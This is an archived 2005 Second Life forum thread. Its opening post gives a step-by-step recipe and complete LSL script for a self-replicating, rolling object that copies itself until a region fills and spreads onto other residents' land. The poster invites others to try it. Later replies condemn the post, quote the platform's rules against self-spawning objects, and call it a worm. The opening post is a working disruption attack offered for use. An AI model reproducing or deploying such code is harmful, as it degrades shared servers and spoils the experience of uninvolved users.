Welcome to the Second Life Forums Archive

These forums are CLOSED. Please visit the new forums HERE

Hey, kids, want to write a virus in LSL?

Jarod Godel
Utilitarian
Join date: 6 Nov 2003
Posts: 729
05-07-2005 20:56
This is a proof-of-concept thing. Fiddling with recursion and inserting some extra scripts would make it more effective. However, he's a quick recipe for writing an in-world, self-replicating virus:

1. Create a sphere prim. Make it physical.

2. Name the prim "Wanker" (or whatever, but if you change the name, adjust the following code).

3. Insert this code into your prim:

CODE
integer X;
integer chan;

default
{
state_entry()
{
llAllowInventoryDrop(TRUE);
}

on_rez(integer param)
{
if (param > 0)
{
chan = param;
}
else if (param > 255)
{
chan = 1;
}
else
{
chan = 1;
}

llAllowInventoryDrop(TRUE);

integer i;

for (i = 0; i < 300; ++i);

llSay(chan, (string)llGetKey());

for (i = 0; i < 300; ++i);

llRezObject("Wanker", llGetPos()+<0, 0, .5>, <0,0,0>, <0,0,0,0>, chan + 1);

X = llListen(chan + 1, "", NULL_KEY, "");
}

listen(integer channel, string name, key id, string message)
{
llGiveInventory((key)message, "Wanker");
llListenRemove(X);
}
}


4. Take a copy of your prim, and then put that copy from inventory in the first prim.

5. Take a second copy of the prim -- the prim should not have a script and a similarly named prim in it.

When you rez the prim, it will start copying itself and should do so until the sim fills up. By making the "Wanker" prim sphere and physical, it'll roll. This way, it'll go across sim borders and on to other people's land.

Feel free to give it a whirl. This is all open, free, copyable, and if anyone wants to sell it, you're welcome!
_____________________
"All designers in SL need to be aware of the fact that there are now quite simple methods of complete texture theft in SL that are impossible to stop..." - Cristiano Midnight

Ad aspera per intelligentem prohibitus.
Logan Bauer
Inept Adept
Join date: 13 Jun 2004
Posts: 2,237
Errr...
05-07-2005 21:06
Dude, use your powers for good and not evil. :P
Jeffrey Gomez
Cubed™
Join date: 11 Jun 2004
Posts: 3,522
05-07-2005 21:42
This strikes me as continuing a crusade from another set of threads. Here's my take on the matter.

Knowledge is power, but as it stands we have little to fear from things like this.

Why? Well, most Linden borders are No Rez, and sandboxen clear themselves at a certain threshhold.

Anyway, this sort of thing proves a point - there's a fine line between a "feature" and outright abuse. Stuff like this, even in jest, gives people like me a bad name, and I can't say I'm very pleased about it. If someone finds this "funny," I will happily point out that doing this sort of thing repeatedly will likely get you, and your scripts, banned if abused.

Case in point: Scripters and average people alike should use discretion, or our grid will be in trouble and be slowly dismantled. I would be amused if not for the fact this and other threads throw everything I stand for in my face. Otherwise, I doubt I'll say more about this.
_____________________
---
Strife Onizuka
Moonchild
Join date: 3 Mar 2004
Posts: 5,887
05-07-2005 22:04
pfft, he just wants attention.

actions imoral on a global scale.

didn't even write it efficiantly.

anyway this is old news we talked about this on of the other forums months ago.


Oh and totaly against CS and TOS

From: Community Standards

...
6. Disturbing the Peace
Every Resident has a right to live their Second Life. Disrupting scheduled events, repeated transmission of undesired advertising content, the use of repetitive sounds, following or self-spawning items, or other objects that intentionally slow server performance or inhibit another Resident's ability to enjoy Second Life are examples of Disturbing the Peace. Policies and Policing

...

Global Attacks
Community Standards violations which broadly interfere with or disrupt the Second Life community, the Second Life servers or other systems related to Second Life cannot be tolerated in any form. Such actions will result in a minimum two-week suspension and a review of your account for probable removal from Second Life.
...


From: Terms of Service

...
5. USER CONDUCT

5.1 Participant Conduct. In addition to abiding at all times by the Community Standards, you agree that you shall not: (i) take any action or upload, post, e-mail or otherwise transmit Content that infringes or violates any third party rights; (ii) impersonate any person or entity, including, but not limited to, a Linden employee, or falsely state or otherwise misrepresent your affiliation with a person or entity; (iii) take any action or upload, post, e-mail or otherwise transmit Content that violates any law or regulation; (iv) take any action or upload, post, e-mail or otherwise transmit Content as determined by Linden at its sole discretion that is harmful, threatening, abusive, harassing, causes tort, defamatory, vulgar, obscene, libelous, invasive of another's privacy, hateful, racially, ethnically or otherwise objectionable; (v) take any actions or upload, post, e-mail or otherwise transmit Content that contains any viruses, Trojan horses, worms, time bombs, cancelbots or other computer programming routines that are intended to damage, detrimentally interfere with, surreptitiously intercept or expropriate any system, data or personal information; (vi) take any action or upload, post, email or otherwise transmit any Content that would violate any right or duty under any law or under contractual or fiduciary relationships (such as inside information, proprietary and confidential information learned or disclosed as part of employment relationships or under nondisclosure agreements); (vii) upload, post, email or otherwise transmit any unsolicited or unauthorized advertising, promotional materials, "junk mail," "spam," "chain letters," "pyramid schemes," or any other form of solicitation; (viii) interfere with or disrupt the Service or servers or networks connected to the Service, or disobey any requirements, procedures, policies or regulations of networks connected to the Service; (ix) attempt to gain access to any other user's Account or password; or (x) "stalk" or otherwise harass another user. You agree that Linden may take whatever steps it deems necessary to abridge, or prevent behavior of any sort on the Service in its sole discretion, without notice to you.
...
_____________________
Truth is a river that is always splitting up into arms that reunite. Islanded between the arms, the inhabitants argue for a lifetime as to which is the main river.
- Cyril Connolly

Without the political will to find common ground, the continual friction of tactic and counter tactic, only creates suspicion and hatred and vengeance, and perpetuates the cycle of violence.
- James Nachtwey
Enabran Templar
Capitalist Pig
Join date: 26 Aug 2004
Posts: 4,506
05-07-2005 22:20
Posting this seems irresponsible in the extreme. There's no possible legitimate use for such a system.

edit: Also, this is a worm, not a virus, as there is no mechanism for it to infect other primitives or scripts.
Christopher Omega
Oxymoron
Join date: 28 Mar 2003
Posts: 1,828
05-07-2005 22:47
Wow, Ive never seen anything so immature. Congrats Jarod.
==Chris